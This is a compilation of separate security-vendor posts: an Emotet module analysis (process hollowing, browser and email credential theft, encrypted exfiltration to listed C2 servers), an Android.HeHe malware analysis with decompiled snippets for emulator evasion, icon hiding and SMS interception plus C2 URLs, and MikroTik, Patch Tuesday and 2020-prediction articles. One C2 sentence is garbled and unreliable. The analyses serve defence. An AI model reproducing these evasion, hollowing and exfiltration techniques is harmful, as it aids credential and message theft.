When X.dll Receives a Response with a Module Once the C2 server has processed and detected the first submitted packet that includes critical data—such as the victim’s device system version, Windows architecture, etc.—it replies with malicious modules for Emotet to execute in the victim’s device.
All the received modules are fileless.
That is, they only exist in memory and are processed by the X.dll (the core of Emotet) running in Rundll32.exe.
Figure 1.1 is a screenshot of X.dll’s code and memory.
The bottom is a C2’s response packet, just decrypted in memory by calling a function of 10012371.
Referring to Figure 5.3 in part I of this series will help you understand the structure of the packet.
The box marked in red is the verification data (99 DE … DD A5), a signed hash of the rest data of the packet.
The following dword, 0x00000000, marked in yellow, is a flag that tells Emotet how to run the replied module.
0x00 tells it to execute the module in a newly-created thread.
The binary block in blue is the module.
It starts with the module size, 0x79400 in this example, and the rest part is the module binary data (4D 5A 90 00 …).
Emotet has to verify the decrypted data, as shown in Figure 1.1, using the 40H verification data.
It then deploys the received module into memory and prepares to execute it.
It then calls its entry point in a newly created thread.
This post will refer to this module as a “thread-module.”
Its primary purposes are to extract and execute the final functional module that steals sensitive data from the victim’s device and to submit the stolen data to its C2 server, which will be discussed later in this analysis.
Figure 1.2 shows where the thread function ASM code calls the entry point of the deployed thread-module.
Thread-Module — Performs Process Hollowing The thread-module proceeds to decrypt a PE file, the final functional module, from its .text section into memory.
To execute this module, it performs process hollowing.
It does this by copying a Windows file, “certutil.exe”, from either “%Windir%\\SysWOW64\\certutil.exe” or “%Windir%\\system32\\certutil.exe” into the “%temp%” folder.
It then renames it to a random file name, like “uvbubqj.exe”.
Next, the thread-module creates a suspended process with this file.
As you may see in the command line string in Figure 2.1, “uvbubqj.exe” is the copied “certutil.exe”, “/scomma” and the subsequent temporary file —“C:\\Users\\Bobs\\AppData\\Local\\Temp\\60B2.tmp” — are the parameters for the process.
The temporary file name is generated by calling the API GetTempFileNameW().
The path of the temporary file “60B2.tmp” is read by the functional module and used to save stolen information.
The sixth argument to CreateProcessW() is 0x00000004, which is a creation flag indicating “CREATE_SUSPENDED” with which CreateProcessW() creates a process and enters suspended status.
It then calls a group of APIs, like GetThreadContext(), VirtualAllocEx(), ReadProcessMemory(), WriteProcessMemory(), and so on, to inject the final functional module into the new process’  memory.
The API SetThreadContext() is called later to set the new process EIP register pointing to the entry point of the functional module, which is invoked after calling the API ResumeThread().
Afterward, the thread-module starts to monitor the temporary file in a loop until it is created with the stolen information from the victim’s device.
Looking at the Functional Modules In the above analysis, I explained how a C2 module is loaded and executed in the victim’s device.
The C2 server can return many modules, each going through the same process as described above.
They will have a thread-module, run in their thread, and perform their own process hollowing.
I received three C2 modules.
I will elaborate on how they work on the victim’s device in the following sections.
Module1 - Stealing Credentials from a Victim’s Browsers A Self-Extracting packer protects this module.
It decrypts a PE file when it runs, overrides the existing code of “certutil.exe”, and then gets it executed.
The unpacked PE file is a freeware called “WebBrowserPassView” developed by NirSoft.
It was designed as a password recovery tool but has been abused by malicious actors to steal the victim’s credentials.
A user interface displays the saved credentials stored within several web browsers.
Figure 3.1 shows what this module looks like when I open it in my test environment.
This Emotet variant uses WebBrowserPassView v2.06.
Its thread-module passes command line parameters like “/scomma C:\\Users\\Bobs\\AppData\\Local\\Temp\\7B3C.tmp” to the process, which can switch WebBrowserPassView to a No-Window mode and save the retrieved credentials to a given temporary file.
From its code, I learned it could collect the credentials from a variety of web browsers: Microsoft IE, Microsoft Edge, Google Chrome, Mozilla Firefox, Opera, Apple Safari, SeaMonkey, Yandex, Vivaldi, Waterfox, and all other Chromium-based browsers.
The stolen credentials contain the following information: • URL: The URLs that credentials are saved for •
Web Browser:
The browser name that holds the credentials • User Name, Password: The credentials • Password Strength: Strong or weak •
User Name Field:
The control name type into the user name field • Password Field:
The string entered in the password field •
Created Time: When it was saved •
Modified Time: Time when credentials were updated •
Filename: What file it has stolen the credentials from All the credentials are saved in a temporary file.
Module2 - Stealing Email Contact Information
This module steals its victim’s email contacts from their email folders inside Microsoft Outlook by going through the victim’s emails one by one.
It keeps the gathered contact information in a doubly-linked chain structure.
Figure 4.1 shows one email contact obtained from an email within my test Outlook account that was then added into the doubly-linked chain, as shown at the bottom.
The collected data shows the Person name and Email address of the email sender.
In this example, it collected “Outlook” and “outlook@email2.office.com” from the displayed email message.
This module enumerates all collected emails and puts the unique email contact information into the doubly linked chain.
To collect Outlook’s data, it has to call several APIs, including MAPIInitialize(), MAPILogonEx(), and MAPIFreeBuffer(), as well as create some COM objects by calling the API CoCreateInstance(), such as OlkAccountManager and OlkMail.
Finally, it retrieves those email contacts from the linked chain one by one and saves them into the temporary file that comes from the command line parameter.
Figure 4.2 shows a screenshot of the temporary file, “%temp%\\6827.tmp” in this example, along with the collected email contacts.
Module3 - Stealing Account Settings of Victim’s Email Clients
This functional module focuses on stealing its victim’s email account settings and the credentials from their email clients.
It is also a packer-protected module, so it does the same thing as Module1 when its entry point is called.
According to my analysis, the unpacked PE file is an EXE file that is another freeware from NirSoft called “ Mail PassView ”.
It was originally designed as a small password recovery tool for email clients.
Emotet is using the latest version—v1.92.
Figure 5.1 is a screenshot of this software running on my test environment.
Going through its code and constant strings, we learned it could obtain email account settings and credentials from the following email clients or other clients that could save email credentials: Mozilla Thunderbird, Eudora, Microsoft Outlook, Microsoft Outlook Express, Windows Mail, MSNMessenger, Windows Live Mail, Group Mail, IncrediMail, Yahoo!
Mail, Yahoo!
Messenger, Hotmail, Google Desktop, and Google Talk.
It collects the settings and credentials from both the system registry and the local configuration files of these email clients.
Figure 5.2 is a segment of the ASM code from a common function that has predefined many value names.
The software repeatedly reads User Name, Server Address, Server Port, and similar information from the system registry through these value-names under the subkeys \" HKCU\\Software\\Microsoft\\Internet Account Manager\\Accounts \" and \" HKCU\\Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts \", which are the places to save the settings and credentials for Microsoft Outlook and Microsoft Outlook Express.
This time, the command line parameter string to this software is \"/scomma C:\\Users\\Bobs\\AppData\\Local\\Temp\\8042.tmp\", where \"/scomma\" allows the process to run without a window and save the retrieved information to the temporary file followed.
Thread-Module – Submit Stolen Data With the functional modules working to steal sensitive data, the thread-module keeps monitoring the temporary file until it is created with the stolen information.
It then loads the stolen data from the temporary file to memory and then deletes the file.
Before submitting the stolen data to the C2 server, it compresses the data and encrypts it.
This example, shown in Figure 6.1, is where it was about to call the API BCryptEncrypt() to encrypt the packet, which begins from 4790E0.
The section outlined in red is like the packet header.
It contains the packet type (0x3EA) that tells the C2 server what kind of data is in the packet, a sha256 hash code (69 35 … 3C 4A) of the data, a module ID (0x14), as well as the Victim’s ID.
The subsequent data, marked in blue, starts with a data size (0x398) of the following data (from 10 55 52 4C … to the end), which are the compressed web browser credentials.
This thread-module uses eleven C2 servers to receive data stolen from the victim’s device.
The IP and Ports of these C2 servers are encrypted in memory and get decrypted before submitting the stolen data.
The three downloaded modules have the same C2 server list, which can be found in the “IOC” section at the end of this analysis.
Figure 6.2 is a screenshot of a proxy tool showing how the packet with the stolen victim’s sensitive data is sent to its C2 server.
It uses the HTTP Post method with a randomized URL to submit the stolen data in the body, which consists of a 40H-long exported key at the beginning with the encrypted data following, as shown in Figure 6.2.
The C2 server can decrypt the submitted data using the 40H exported key.
Conclusion In Part II of this analysis, I started with a received module packet from a C2 server and explained the structure of the packet.
Next, I showed how the module (thread-module) is executed in a newly created thread.
We then walked through how the thread-module performs process hollowing to execute the functional modules.
In discussing the three received modules, I elaborated on what kind of data Emotet can steal from the victim’s device, such as email contact information from the victim’s email account, the email account’s settings, credentials from the victim’s email client, and credentials saved in a wide range of web browsers.
Finally, going back to the thread-module, Emotet reads the stolen information from the given temporary files.
It then compresses and encrypts the data, which is ultimately submitted using the HTTP Post method to the C2 server.
Fortinet Protections Fortinet customers are already protected from this malware by FortiGuard’s Web Filtering, AntiVirus, FortiMail, FortiClient, FortiEDR, and CDR (content disarm and reconstruction) services, as follows:
The malicious Macro inside the Excel sample mentioned in Part I of the post can be disarmed by the FortiGuard CDR (content disarm and reconstruction) service.
All relevant URLs have been rated as \" Malicious Websites \" by the FortiGuard Web Filtering service.
The captured Excel sample and the downloaded Emotet dll file are detected as \" VBA/Emotet.2826!tr.dldr \" and \" W32/Emotet.
B185!tr \" and are blocked by the FortiGuard AntiVirus service.
FortiEDR detects both the Excel file and Emotet dll file as malicious based on its behavior.
In addition to these protections, Fortinet also provides multiple solutions designed to help train users in detecting and understanding phishing threats: We encourage organizations to have their end users take our FREE NSE Training : NSE 1 – Information Security Awareness .
It includes a module on Internet threats designed to help end-users learn how to identify and protect themselves from various types of phishing attacks.
This training can then be reinforced using our FortiPhish phishing simulation service.
It uses real-world attack scenarios to train users, test awareness and vigilance, and reinforce proper practices for handling phishing incidents.
IOCs C2 Server List in the three thread-modules: 144[.]217[.]88[.
]125:443 67[.]205[.]162[.
]68:8080 54[.]36[.]98[.
]59:7080 45[.]184[.]36[.
]10:8080 47[.]110[.]149[.
]223:8080 159[.]65[.]1[.
]71:8080
51[.]178[.]186[.
]134:443 131[.]100[.]24[.
]199:8080 51[.]91[.]142[.
]158:80
51[.]79[.]205[.
]117:8080 176[.]31[.]163[.
]17:8080 Learn more about FortiGuard Labs global threat intelligence and research and the FortiGuard Security Subscriptions and Services portfolio.
FireEye Labs has recently discovered six variants of a new Android threat that steals text messages and intercepts phone calls.
We named this sample set “Android.
HeHe”
after the name of the activity that is used consistently across all samples.
Here is a list of known bot variants: MD5 VirusTotal Detection Ratio 1caa31272daabb43180e079bca5e23c1 1caa31272daabb43180e079bca5e23c1 2/48 2/48 8265041aca378d37006799975fa471d9 8265041aca378d37006799975fa471d9 1/47 1/47 2af4de1df7587fa0035dcefededaedae 2af4de1df7587fa0035dcefededaedae 2/45 2/45 2b41fbfb5087f521be193d8c1f5efb4c 2b41fbfb5087f521be193d8c1f5efb4c 2/46 2/46 aa0ed04426562df25916ff70258daf6c aa0ed04426562df25916ff70258daf6c 1/46 1/46 9507f93d9a64d718682c0871bf354e6f 9507f93d9a64d718682c0871bf354e6f
1/47 1/47 Summary
The app disguises itself as “android security” (Figure 1), attempting to provide the users what is advertised as an OS Update.
It contacts the command-and-control (CnC) server to register itself then goes on to monitor incoming SMS messages.
The CnC is expected to respond with a list of phone numbers that are of interest to the malware author.
If one of these numbers sends an SMS or makes a call to an infected device, the malware intercepts the message or call, suppresses device notifications from the device, and removes any trace of the message or call from device logs.
Any SMS messages from one of these numbers are logged into an internal database and sent to the CnC server.
Any phone calls from these numbers are silenced and rejected.
[caption id=\"attachment_4369\" align=\"aligncenter\" width=\"302\"] Figure 1[/caption]
Analysis This app starts the main HeHe activity at startup.
The constructor of the HeHeActivity registers a handler using the android.os.
Handle , which acts as a thread waiting for an object of type android.os.
Message to perform different actions, which are outlined below.
Because the HeHeActivity implements the standard DailogInterfaceOnClickListener , the start of the app causes the showAlterDailog message to be displayed (Figure 2).
[caption id=\"attachment_4373\" align=\"aligncenter\" width=\"404\"] Figure 2:
The above messages make the user believe that an OS update check is under progress[/caption]
The app then sends an intent to start three services in the background.
These services are explained below.
Sandbox-evasion tactic This app checks for the presence of an emulator by calling the isEmulator function, which does the following: It checks the value of the MODEL of the device (emulators with the Google ADT bundle have the string “sdk” as a part of the MODEL variable).
It also checks to see if the IMSI code is “null” — emulators do not have an IMSI code associated with them.
Here is the isEmulator code: String v0 = TelephonyUtils.getImsi(((Context)this)); if(v0 == null) { return; } public static boolean isEmulator() { boolean v0; if((Build.
MODEL.equalsIgnoreCase(\"sdk\"))
|| (Build.
MODEL.equalsIgnoreCase(\"google_sdk\"))) { v0 = true; } else { v0 = false; } return v0; } The code checks whether the the app is being run in the Android QEMU emulator.
It also checks whether the value of IMSI is equal to null
RegisterService This service runs in the background.
Once started the app calls the setComponentEnabledSetting method as follows: this.getPackageManager().setComponentEnabledSetting(new ComponentName(((Context)this), HeheActivity.class), 2, 1); This removes the app from the main menu of the phone leading the user to believe that the app is no longer installed on the phone.
It then goes on to check the network status of the phone as shown below public void checkNetwork() { \nif(!this.isNetworkAvailable()) {\nthis.setMobileDataEnabled();\n}\n}\n\nAfter the service has been created.
The onStart method is called, which checks the message provided as a part of the intent.
The message types are START and LOGIN START
If the message in the intent is START , The app calls the sendReigsterRequest() function.
The sendRegisterRequest function first checks for the presence of an emulator as explained in the \"Sandbox-evasion tactic\" section It then collects the IMSI IMEI, phone number, SMS address and channel ID.
It packs all this information into a JSON object.
Once the JSON object is created.
It is converted to a string, which is sent to the CnC server.
The CnC communication is explained below.
LOGIN
If the message in the intent is LOGIN , the app calls the sendLoginRequest method, which in turn collects the following: Version number of the app (hard-coded as \"1.0.0\")
The model of the phone The version of the operating system The type of network associated with the device (GSM/CDMA)
This information is also packed into a JSON object, converted into a string, and sent to the CnC server.
RegisterBroadcastReceiver service This service is invoked at the start of the app as the RegisterService .
It in turn registers the IncomeCallAndSmsReceiver(), which is set to respond to these three intents: android.provider.
Telephony.
SMS_RECEIVED , which notifies once a SMS has been received on the device android.intent.action.
PHONE_STATE , which notifies once the cellular state of the device has changed.
Examples include RINGING and OFF_HOOK.
android.intent.action.
SCREEN_ON , which notifies once the screen has been turned on or turned off.
Additionally, it also sets observers over Android content URIs as follows: The SmsObserver is set to observe the content://sms, which enables it to access all SMS messages that are present on the device.
The CallObserver is set to observe the content://call_log/calls, which allows it to access the call log of all incoming, outgoing and missed calls on the device.
ConnectionService The main HeHe activity mentioned at the start issues the ACTION_START intent to the ConnectionService class as follows:
Intent v2 = new Intent(((Context)this), ConnectionService.class); v2.setAction(ConnectionService.ACTION_START); v2.setFlags(268435456);\n\nthis.startService(v2);\n\nLogUtils.debug(\"heheActivity\", \"start connectionService service\");\n\nThe app then starts a timer task that is scheduled to be invoked every 5000 seconds.
This timed task does the following: Creates an object instance of the android.os.
Message class Sets the value of \"what\" in the Message object to 1 The handler of this message that was initiated in the constructor then gets called which, in turn calls the showFinishBar function that displays the message “현재 OS에서 최신 소프트웨어버전을 사용하고있습니다,” which translates to “The current OS you are using the latest version of the software.”
Receivers IncomeCallAndSmsReceiver
The RegisterBroadcastReceiver registers this receiver once the app gets started.
When an SMS is received on the device.
The IncomeCallAndSmsReceiver gets the intent.
Because this receiver listens for one of three intents, any intents received by this receiver are checked for their type.
If the received intent is of type android.provider.telephony.
SMS_RECEIVED , the app extracts the contents of the SMS and the phone number of the sender.
If the first three characters of the phone number matches the first three characters from phone numbers in a table named tbl_intercept_info, then the SMS intent is aborted and the SMS is deleted from the devices SMS inbox so that the user never sees it.
After the SMS notification is suppressed, the app bundles the SMS as follows: {\n\"content\":\"TESTING\", \n\"createTime\":\"2014-01-10 16:21:36\",\n\"id\":null,\"messageFrom\":\"1234567890\",\n\"token\":null\n}\n\nFrom there, it sends the to the CnC server (http://108.62.240.69:9008/reportMessage)
It also records the SMS in the tbl_message_info table in its internal database.
If the received intent is of type android.intent.action.
PHONE_STATE , the app checks the tbl_intercept_info table in the local database.
If the number of the caller appears in this table, then the ringer mode of the phone is set to silent to suppress the notification of the incoming call and the phone call is disconnected.
Its corresponding entry from the call logs is also removed, removing all traces of the phone call from the device.
No actions have been defined for the android.app.action.
SCREEN_ON intent, even though the IncomeCallAndSmsReceiver receiver is the recipient.
CnC
This app uses two hard-coded IP address to locate its CnC servers: 122.10.92.117 and 58.64.183.12.
The app performs all communications through HTTP POST requests .
The contents of the HTTP POST are encrypted using AES with a 128-bit key that is hardcoded into the app.
The app sends its lastVersion value —to 122.10.92.117, to address is where is used to check for , in which the app sends its version of the app.
The address 58.64.183.12 is used to report incoming SMS messages Because the IP address is no longer reachable, responses from the server could not be analyzed.
What is clear is that the server sends a JSON object in response, which contains a \"token\" field.
Although the CnC server is currently unavailable, we can infer how the app works by examining the how it processes the received responses.
The app consists of different data structures that are converted into their equivalent JSON representations when they are sent to the CnC.
Also, All JSON object responses are converted into their equivalent internal data structures.
We have also observed the mechanism used to populate the internal database which includes tables (tbl_intercept_info) which contain the phone numbers to be blocked.
The app uses hxxp://122.10.92.117:9008 and hxxp://58.64.183.12:9008 to send information to the CnC server.
The mapping of URLs to their internal class data structures is as follows:
GetLastVersionRequest /getLastVersion
RegisterRequest /register LoginRequest /login
ReportRequest /report
GetTaskRequest /getTask
ReportMessage Request /reportMessage
The meaning and structures of these are explained in the following sections.
GetLastVersionRequest
This request is sent when the app is first installed on the device.
The bot sends the version code of the device (currently set to 1.0.0) to the CnC.
The CnC response shall contain the URL to an update if available.
The availability of an update is signified through an ‘update’ field in the response [caption id=\"attachment_4377\" align=\"alignnone\" width=\"816\"] Request to CnC to check for version[/caption]
RegisterRequest This request is sent when the app sends an intent with a “LOGIN” option to the RegisterService as explained  above.
The request contains the IMSI, IMEI, Phone number, SMS address (Phone number), Channel ID, a token and the IP address being used by the app as its
CnC.
This causes the infected device to be registered with the CnC.
LoginRequest
This request is sent to further authenticate the device to the CnC, It contains the token previously received, the version of the Bot, the model of the phone, the version of the OS, the type of network and the other active network parameters such as signal strength.
In response, It only gets a result value.
ReportRequest The report request sends the information present in tbl_report_info to the CnC.
This table contains information about other requests that were sent but failed.
GetTaskRequest
This requests asks for tasks from the CnC server.
The response contains a retry interval and a sendSmsActionNotify value.
It is sent when the response to the LoginRequest is 401 instead of 200.
ReportMessageRequest This request to the CnC sends the contents of the SMS messages that are received on the device.
It consists of the contents of the SMS message, the time of the message and the sender of the SMS.
This has been observed in the logcat output as follows:
Conclusion Android malware variants are mushrooming.
Threats such as Android.
HeHe and Android.
MisoSMS reveal attackers' growing interest in monitoring SMS messages and phone call logs.
They also serve as a stark reminder of just how dangerous apps from non-trusted marketplaces can be.
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Recent large-scale DDoS attacks using a new botnet called Mēris peaked at almost 22 million requests per second.
According to Qrator research , MikroTik’s network devices generated a fair share of the botnet’s traffic.
Having analyzed the situation, MikroTik experts found no new vulnerabilities in the company’s routers; however, old ones may still pose a threat.
Therefore, to ensure your router has not joined the Mēris botnet (or any other botnet, for that matter), you need to follow a few recommendations.
Why MikroTik devices are joining the botnet A few years ago, security research discovered a vulnerability in MikroTik routers : Winbox, a configuration tool for MikroTik routers through which many devices were compromised.
Although MikroTik fixed the vulnerability back in 2018, apparently not all users updated their routers.
Furthermore, even among those who did, not everyone followed the manufacturer’s additional password-change recommendations.
If a user didn’t change the password, then even updated firmware could let attackers log in to the router and start exploiting it again.
According to MikroTik , the routers that are now infected with Mēris are the same devices that were compromised back in 2018.
The company has published indicators of device compromise and issued recommendations.
How to tell if your MikroTik router is part of a botnet When a router joins a botnet, cybercriminals change a number of settings in the device firmware.
Therefore, MikroTik’s first recommendation is to look at device configuration and check for the following: A rule that executes the script with the fetch () method.
Remove this rule (under System → Scheduler), if present; A SOCKS proxy server enabled.
You’ll find the setting under IP → SOCKS ; if you do not use it, disable it; An L2TP client called lvpn, (or any other L2TP client unfamiliar to you).
Delete these clients as well; A firewall rule that allows remote access through port 5678.
Remove this rule.
Recommendations for protecting your MikroTik router Regular updates are a crucial part of any successful defense strategy.
Much of keeping a MikroTik network safe is following general network security best practices.
Make sure your router is using the latest firmware available, and update it regularly; Disable remote access to the device unless you absolutely need it; Configure remote access — again, if you really need it — through a VPN channel.
For example, use the IPsec protocol; Use a long and strong management password.
Even if your current password is strong, change it now, just in case; In general, proceed under the assumption  that your local area network is not secure, meaning if one computer gets infected, then the malware can attack the router from inside your perimeter and gain access by brute-forcing passwords.
That is why for our part, we strongly recommend using reliable security solutions on all Internet-connected computers.
Microsoft started the year with a massive vulnerability fix, releasing not only its regular first-Tuesday update, which this time covers a total of 96 vulnerabilities , but also issuing a bunch of fixes for the Microsoft Edge browser (mainly related to the Chromium engine).
That makes more than 120 vulnerabilities patched since the beginning of the year.
This is a clear reason to update the operating system and some Microsoft applications as soon as possible.
Most severe vulnerabilities Nine of the vulnerabilities that were closed this Tuesday have a critical rating on the CVSS 3.1 scale.
Of those, two are related to privilege escalation : CVE-2022-21833 in Virtual Machine IDE Drive and CVE-2022-21857 in Active Directory Domain Services.
Exploitation of the other seven can give an attacker the remote code execution ability: CVE-2022-21917 in HEVC Video Extensions; CVE-2022-21912 and CVE-2022-21898 in DirectX Graphics Kernel; CVE-2022-21846 in Microsoft Exchange Server; CVE-2022-21840 in Microsoft Office; CVE-2021-22947 in Open Source Curl; CVE-2022-21907 in HTTP Protocol Stack.
The last one seems to be the most unpleasant vulnerability.
A bug in the HTTP protocol stack theoretically allows attackers not only to make the affected computer execute arbitrary code, but also to spread the attack over the local network (according to Microsoft terminology, the vulnerability is classified as wormable — that is, it can be used to create a worm ).
This vulnerability is relevant for Windows 10, Windows 11, Windows Server 2022, and Windows Server 2019.
However, according to Microsoft, it’s dangerous for users of Windows Server 2019 and Windows 10 version 1809 only if they enable HTTP Trailer Support using the EnableTrailerSupport key in the registry.
Experts also expressed concern about the presence of another serious vulnerability in Microsoft Exchange Server — CVE-2022-21846 (which, by the way, is not the only Exchange bug on the list, just the most dangerous).
Their concern is totally understandable — no one wants a recurrence of last year’s wave of exploited Exchange vulnerabilities.
Vulnerabilities with PoCs Some of the fixed vulnerabilities were already known to the security community.
Furthermore, someone has already published proofs of concept for them: CVE-2022-21836 — Windows certificate spoofing vulnerability; CVE-2022-21839 — Windows event tracing discretionary access control list denial of service vulnerability; CVE-2022-21919 — Windows user profile service elevation of privilege vulnerability.
We have not yet observed real attacks using these vulnerabilities.
However, the proofs of concept are already in public, so exploitation can begin at any time.
How to stay safe First, you need to update your operating system (and other programs from Microsoft) as soon as possible.
In general, it is usually wise not to delay installing patches for critical software.
Second, any computer or server connected to the Internet must be equipped with a reliable security solution capable not only of preventing the exploitation of known vulnerabilities, but also of detecting attacks with yet-unknown exploits.
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By McAfee Labs on Dec 04, 2019 With 2019’s headlines of ransomware, malware, and RDP attacks almost behind us, we shift our focus to the cybercrime threats ahead.
Cybercriminals are increasing the complexity and volume of their attacks and campaigns, always looking for ways to stay one step ahead of cybersecurity practices – and more often using the world’s evolving technology against us.
Continuing advancements in artificial intelligence and machine learning have led to invaluable technological gains, but threat actors are also learning to leverage AI and ML in increasingly sinister ways.
AI technology has extended the capabilities of producing convincing deepfake video to a less-skilled class of threat actor attempting to manipulate individual and public opinion.
AI-driven facial recognition, a growing security asset, is also being used to produce deepfake media capable of fooling humans and machines.
Our researchers also foresee more threat actors targeting corporate networks to exfiltrate corporate information in two-stage ransomware campaigns.
With more and more enterprises adopting cloud services to accelerate their business and promote collaboration, the need for cloud security is greater than ever.
As a result, the number of organizations prioritizing the adoption container technologies will likely continue to increase in 2020.
Which products will they rely on to help reduce container-related risk and accelerate DevSecOps?
The increased adoption of robotic process automation and the growing importance to secure system accounts used for automation raises security concerns tied to Application Programming Interface (API) and their wealth of personal data.
The threatscape of 2020 and beyond promises to be interesting for the cybersecurity community.
–Raj Samani, Chief Scientist and McAfee Fellow, Advanced Threat Research Twitter @Raj_Samani
Predictions Broader Deepfakes Capabilities for Less-Skilled Threat Actors Adversaries to Generate Deepfakes to Bypass Facial Recognition Ransomware Attacks to Morph into Two-Stage Extortion Campaigns Application Programming Interfaces (API) Will be Exposed as The Weakest Link Leading to Cloud-Native Threats DevSecOps Will Rise to Prominence as Growth in Containerized Workloads Causes Security Controls to ‘Shift Left’ Broader Deepfakes Capabilities for Less-skilled Threat Actors By Steve Grobman
The ability to create manipulated content is not new.
Manipulated images were used as far back as World War II in campaigns designed to make people believe things that weren’t true.
What’s changed with the advances in artificial intelligence is you can now build a very convincing deepfake without being an expert in technology.
There are websites set up where you can upload a video and receive in return, a deepfake video.
There are very compelling capabilities in the public domain that can deliver both deepfake audio and video abilities to hundreds of thousands of potential threats actors with the skills to create persuasive phony content.
Deepfake video or text can be weaponized to enhance information warfare.
Freely available video of public comments can be used to train a machine-learning model that can develop a deepfake video depicting one person’s words coming out of another’s mouth.
Attackers can now create automated, targeted content to increase the probability that an individual or groups fall for a campaign.
In this way, AI and machine learning can be combined to create massive chaos.
In general, adversaries are going to use the best technology to accomplish their goals, so if we think about nation-state actors attempting to manipulate an election, using deepfake video to manipulate an audience makes a lot of sense.
Adversaries will try to create wedges and divides in society, or if a cybercriminal can have a CEO make what appears to be a compelling statement that a company missed earnings or that there’s a fatal flaw in a product that’s going to require a massive recall.
Such a video can be distributed to manipulate a stock price or enable other financial crimes We predict the ability of an untrained class to create deepfakes will enhance an increase in quantity of misinformation.
Adversaries to Generate Deepfakes to Bypass Facial Recognition By Steve Povolny Computer-based facial recognition, in its earliest forms, has been around since the mid-1960s.
While dramatic changes have since taken place, the underlying concept remains: it provides a means for a computer to identify or verify a face.
There are many use cases for the technology, most related to authentication and to answer a single question: is this person who they claim to be?
As time moves onwards, the pace of technology has brought increased processing power, memory and storage to facial recognition technology.
New products have leveraged facial recognition in innovative ways to simplify everyday life, from unlocking smart phones, to passport ID verification in airports, and even as a law enforcement aid to identify criminals on the street.
One of the most prevalent enhancements to facial recognition is the advancement of artificial intelligence (AI).
A recent manifestation of this is deepfakes, an AI-driven technique producing extremely realistic text, images, and videos that are difficult for humans to discern real from fake.
Primarily used for the spread of misinformation, the technology leverages capabilities.
Generative Adversarial Networks (GANs), a recent analytic technology, that on the downside, can create fake but incredibly realistic images, text, and videos.
Enhanced computers can rapidly process numerous biometrics of a face, and mathematically build or classify human features, among many other applications.
While the technical benefits are impressive, underlying flaws inherent in all types of models represent a rapidly growing threat, which cyber criminals will look to exploit.
As technologies are adopted over the coming years, a very viable threat vector will emerge, and we predict adversaries will begin to generate deepfakes to bypass facial recognition.
It will be critical for businesses to understand the security risks presented by facial recognition and other biometric systems and invest in educating themselves of the risks as well as hardening critical systems.
Ransomware Attacks to Morph into Two-Stage Extortion Campaigns By John Fokker In McAfee’s 2019 threat predictions report , we predicted cyber criminals would partner more closely to boost threats; over the course of the year, we observed exactly that.
Ransomware groups used pre-infected machines from other malware campaigns , or used remote desktop protocol (RDP) as an initial launch point for their campaign.
These types of attacks required collaboration between groups.
This partnership drove efficient, targeted attacks which increased profitability and caused more economic damage.
In fact,  Europol’s Internet Organised Crime Threat Assessment (IOCTA),  named ransomware the top threat that companies, consumers, and the public sector faced in 2019.
Based on what McAfee Advanced Threat Research (ATR) is seeing in the underground, we expect criminals to exploit their extortion victims even more moving forward.
The rise of targeted ransomware created a growing demand for compromised corporate networks.
This demand is met by criminals who specialize in penetrating corporate networks and sell complete network access in one-go.
Here are examples of underground ads offering access to businesses: Figure 1 RDP access to a Canadian factory is being offered Figure 2 Access to an Asian Food, Consumer and Industrial company being offered For 2020, we predict the targeted penetration of corporate networks will continue to grow and ultimately give way to two-stage extortion attacks.
In the first stage cybercriminals will deliver a crippling ransomware attack, extorting victims to get their files back.
In the second stage criminals will target the recovering ransomware victims again with an extortion attack, but this time they will threaten to disclose the sensitive data stolen before the ransomware attack.
During our research on Sodinobiki we observed two-stage attacks, with cryptocurrency miners installed before an actual ransomware attack took place.
For 2020, we predict that cybercriminals will increasingly exfiltrate sensitive corporate information prior to a targeted ransomware attack to sell the stolen data online or to extort the victim and increase monetization.
Application Programming Interfaces (API) Will Be Exposed as The Weakest Link Leading to Cloud-Native Threats By Sekhar Sarukkai
A recent study showed that more than three in four organizations treat API security differently than web app security, indicating API security readiness lags behind other aspects of application security.
The study also showed that more than two-thirds of organizations expose APIs to the public to enable partners and external developers to tap into their software platforms and app ecosystems.
APIs are an essential tool in today’s app ecosystem including cloud environments, IoT, microservices, mobile, and Web-based customer-client communications.
Dependence on APIs will further accelerate with a growing ecosystem of cloud applications built as reusable components for back-office automation (such as with Robotic Process Automation) and growth in the ecosystem of applications that leverage APIs of cloud services such as Office 365 and Salesforce.
Threat actors are following the growing number of organizations using API-enabled apps because APIs continue to be an easy – and vulnerable – means to access a treasure trove of sensitive data.
Despite the fallout of large-scale breaches and ongoing threats, APIs often still reside outside of the application security infrastructure and are ignored by security processes and teams.
Vulnerabilities will continue to include broken authorization and authentication functions, excessive data exposure, and a failure to focus on rate limiting and resource limiting attacks.
Insecure consumption-based APIs without strict rate limits are among the most vulnerable.
Headlines reporting API-based breaches will continue into 2020, affecting high-profile apps in social media, peer-to-peer, messaging, financial processes, and others, adding to the hundreds of millions of transactions and user profiles that have been scraped in the past two years.
The increasing need and hurried pace of organizations adopting APIs for their applications in 2020 will expose API security as the weakest link leading to cloud-native threats, putting user privacy and data at risk until security strategies mature.
Organizations seeking improvement in their API security strategy should pursue a more complete understanding of their Cloud Service APIs through comprehensive discovery across SaaS, PaaS and IaaS environments, implement policy-based authorization, and explore User and Entity Behavior Analytics (UEBA) technology to detect anomalous access patterns.
DevSecOps Will Rise to Prominence as Growth in Containerized Workloads Causes Security Controls to ‘Shift Left’
By Sekhar Sarukkai DevOps teams can continuously roll out micro-services and interacting, reusable components as applications.
As a result, the number of organizations prioritizing the adoption of container technologies will continue to increase in 2020.
Gartner predicts that “by 2022, more than 75 percent of global organizations will be running containerized applications in production – a significant increase from fewer than 30 percent today.”
1 Container technologies will help organizations modernize legacy applications and create new cloud-native applications that are scalable and agile.
Containerized applications are built by assembling reusable components on software defined Infrastructure-as-Code (IaC) which is deployed into Cloud environments.
Continuous Integration / Continuous Deployment (CI/CD) tools automate the build and deploy process of these applications and IaC, creating a challenge for pre-emptive and continuous detection of application vulnerabilities and IaC configuration errors.
To adjust to the rise in containerized applications operating in a CI/CD model, security teams will need to conduct their risk assessment at the time of code build, before deployment.
This effectively shifts security “left” in the deployment lifecycle and integrates security into the DevOps process, a model frequently referred to as DevSecOps.
Additionally, threats to containerized applications are introduced nor only by IaC misconfigurations or application vulnerabilities, but also abused network privileges which allow lateral movement in an attack.
To address these run-time threats, organizations are increasingly turning to cloud-native security tools developed specifically for container environments.
Cloud Access Security Brokers (CASB) are used to conduct configuration and vulnerability scanning, while Cloud Workload Protection Platforms (CWPP) work as traffic enforcers for network micro-segmentation based on the identity of the application, regardless of its IP.
